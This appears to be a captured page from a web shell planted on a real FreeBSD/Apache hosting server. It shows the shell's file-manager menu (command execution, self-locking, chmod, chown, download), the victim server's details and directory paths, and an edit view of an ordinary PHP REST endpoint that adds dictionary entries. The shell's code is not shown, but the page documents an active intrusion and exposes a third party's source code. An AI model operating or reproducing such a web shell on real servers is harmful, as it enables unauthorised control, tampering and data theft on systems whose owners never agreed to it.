TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
RestTrush
Dictionary
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/RestTrush/Dictionary/Add.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Dictionary; use RestServer\Exceptions\AuthenticationException; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\InvalidParameterException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\IPresenter; use RestServer\IParametrs; use RestServer\Response; use Nette\Database\Context; /** * Add new untranslated term to dictionary. * @author Jan Pospisil * @param ( * name = id, * type = string, * required = 1 * ) * @param ( * requires = 1, * name = api_key, * type = string * ) */ class Add extends \Nette\Object implements IPresenter { private $connection; private $apiKeys; public function __construct(Context $context){ $this->connection = $context; } public function setApiKeys(array $apiKeys){ $this->apiKeys = $apiKeys; } /** * * @param IParametrs $parameters * @param Response $response * @return bool * @throws InvalidParameterException * @throws MissingRequiredParameterException */ public function run(IParametrs $parameters, Response $response) { $id = $parameters->post('id'); if(!$id) throw new MissingRequiredParameterException('ID is required'); $apiKey = $parameters->get('api_key'); if(!$apiKey) throw new MissingRequiredParameterException('Parameter api_key is required.'); if(!in_array($apiKey, $this->apiKeys)) throw new BadRequestException('Invalid api_key parameter.'); if(substr($id, 0, 3) != 'tr_') throw new InvalidParameterException('Invalid key'); if(!$this->connection->table('dictionary')->where('id', $id)->fetch()) $this->connection->table('dictionary')->insert(array('id' => $id)); return TRUE;// for testing } }
Crotin
Name
Size
Permissions
Modified
User/Group
Add.php
1790
0644
2016-04-16 10:22:26
Unknown/Unknown
Dictionary.php
841
0644
2016-04-16 10:22:26
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin